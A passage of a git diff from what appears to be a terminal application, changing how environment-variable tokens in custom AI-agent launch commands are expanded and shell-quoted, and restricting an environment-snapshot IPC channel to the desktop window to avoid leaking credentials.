capabilityAgentId(inputs.agentId)- const { value: launchCmd, missing: m1 } = expandEnvVars(eff.launchCmd, env)+ const { value: launchCmd, missing: m1 } = expandedProgram(eff.launchCmd, env)// Route a SHARED_IDENTITY_CAPABLE builtin (codex) through its managed launcher when this machine// has one, so the pane re-claims its own thread. Custom agents are not in that list, so a custom// launchCmd is returned unchanged. Applied to the already-expanded launchCmd (the launcher is a@@ -152,7 +186,7 @@ export function assembleResumeCommand(const eff = resolveAgentConfig(inputs.agentId, inputs.customAgent)const capId = capabilityAgentId(inputs.agentId)- const { value: launchCmd, missing: m1 } = expandEnvVars(eff.launchCmd, env)+ const { value: launchCmd, missing: m1 } = expandedProgram(eff.launchCmd, env)// Same launcher routing as the fresh-launch path: a SHARED_IDENTITY_CAPABLE builtin (codex) names// its managed launcher so the resumed session re-claims its own thread.const program = agentLaunchProgram(inputs.agentId, launchCmd, inputs.sharedIdentity)diff --git a/src/shared/ipc.ts b/src/shared/ipc.tsindex df4788871..656201acb 100644--- a/src/shared/ipc.ts+++ b/src/shared/ipc.ts@@ -48,14 +48,13 @@ export const IPC = {* 'plain' events are what make the launcher's fallback visible instead of silent. */codexIdentity: 'codex-identity:event',/** Renderer → main: a snapshot of the main process's `process.env`, used to expand `${env:VAR}`- * tokens in the custom-agent settings preview (the renderer has no `process.env` of its own).- * Values are strings; undefined entries are omitted. */+ * tokens in custom-agent launch commands and the Settings preview (the renderer has no+ * `process.env` of its own). Values are strings; undefined entries are omitted.+ * DESKTOP-WINDOW-ONLY: registered via raw `ipcMain.handle`, never `platform().handle` — a+ * peer-dispatchable full-env dump is the credential-leak class PR #195 closed. The+ * browser/relay bridges answer `{}` locally and expansion degrades to the missing-env+ * refusal. */envSnapshot: 'env:snapshot',- /** Renderer → main: assemble + `${env:…}`-expand a custom agent's launch command against the- * main process env, returning the exact string nodeterm will type into the shell. Powers the- * live preview in Settings → Custom agents. Payload: `LaunchInputs`; resolves- * `{ command, missingEnv }`. */- agentPreviewCommand: 'agent:preview-command',/** Renderer → core: fetch an OpenAI-compatible model catalogue without browser CORS. */agentDiscoverModels: 'agent:discover-models',/** Renderer → core secret boundary for a literal model-gateway API key. The value is write-only;diff --git a/src/shared/shell-quote.ts b/src/shared/shell-quote.tsindex 0c1ca51e9..8ad42fb29 100644--- a/src/shared/shell-quote.ts+++ b/src/shared/shell-quote.ts@@ -11,6 +11,19 @@ export function shellSingleQuote(s: string): string {return "'" + s.replace(/'/g, "'\\''") + "'"}+/** Tokens made only of these characters mean the same thing bare and quoted, so they may pass+ * through unquoted — which keeps an unexpanded `claude --resume` byte-identical to what the+ * historical builder typed. Everything else (whitespace, quotes, `;`, `$`, backticks, globs…)+ * gets the single-quote treatment. */+const SAFE_BARE_TOKEN = /^[A-Za-z0-9_@%+=:,.^/-]+$/++/** Quote `s` as one shell argument ONLY if it needs it. The quote-by-construction half of env+ * expansion: an expanded value that is shell-inert stays bare (so builtin commands don't churn),+ * and anything that could read as shell syntax is fenced into a literal. */+export function shellQuoteIfNeeded(s: string): string {+ return s !== '' && SAFE_BARE_TOKEN.test(s) ? s : shellSingleQuote(s)+}+/*** Split a free-text argv string into tokens the way a POSIX shell would, honoring single and* double quotes and backslash escapes. Used for a custom agent's `args` field, which the user@@ -18,9 +31,9 @@ export function shellSingleQuote(s: string): string {* is appended.** Deliberately NOT a full shell: no variable expansion, no command substitution, no tilde. The- * expansion that DOES happen (`${env:VAR}`) is nodeterm's own, run BEFORE this split, so a- * resolved value containing spaces is indistinguishable from a quoted one only if the user quoted- * it — i.e. the user keeps the same control they have at a real shell.+ * expansion that DOES happen (`${env:VAR}`) is nodeterm's own, run PER TOKEN after this split+ * (see launch.ts), so a resolved value containing spaces or metacharacters stays one argument by+ * construction — the token boundary is fixed before any environment value enters the string.*/export function shellSplit(input: string): string[] {const tokens: string[] = []diff --git a/src/shared/types.ts b/src/shared/types.tsindex ab817c0a0..c29d63495 100644--- a/src/shared/types.ts+++ b/src/shared/types.ts@@ -2067,26 +2067,16 @@ export interface ClaudeApi {export type HandoffResult = { filePath: string } | { error: string }-/** Agent launch/preview IPC. The renderer has no `process.env`, so env-var expansion for the- * custom-agent settings preview is done main-side against the real OS environment — guaranteeing- * the preview matches what `pty-manager` will actually run. */+/** Agent launch/gateway IPC. The renderer has no `process.env`; `${env:VAR}` expansion runs+ * renderer-side against the `envSnapshot()` cache (src/renderer/lib/agentEnv.ts), so the+ * Settings preview and the typed launch command share one assembler AND one environment — they+ * cannot drift by construction. */export interface AgentApi {/** A string-only snapshot of the main process environment (undefined entries omitted), for- * expanding `${env:VAR}` tokens in the preview. */+ * expanding `${env:VAR}` tokens in launch commands and the Settings preview. Desktop-window+ * only: the browser/relay bridges resolve `{}` (a host env dump must never cross to a peer —+ * the PR #195 leak class), and expansion there degrades to the missing-env refusal. */envSnapshot(): Promise<Record<string, string>>- /** Assemble + expand a custom agent's FIRST-LAUNCH command against the main env. Returns the- * command string and any env vars that were referenced but unset (no fallback) — surfaced as- * `<unset>` markers in the preview. `inputs` is structurally `LaunchInputs`- * (src/shared/agents/launch.ts); typed loosely here to avoid a types↔launch import cycle. */- previewCommand(inputs: {- agentId: AgentId- customAgent?: CustomAgent- initialPrompt?: string- model?: string- permissionMode?: AgentPermissionMode- sessionId?: string- sessionIdFlagSupported?: boolean- }): Promise<{ command: string; missingEnv: string[] }>/** Query the configured gateway's OpenAI-compatible `/v1/models` endpoint. Never rejects. */discoverModels(settings: ModelGatewaySettings): Promise<ModelDiscoveryResult>/** Literal gateway credentials are write-only in the renderer. */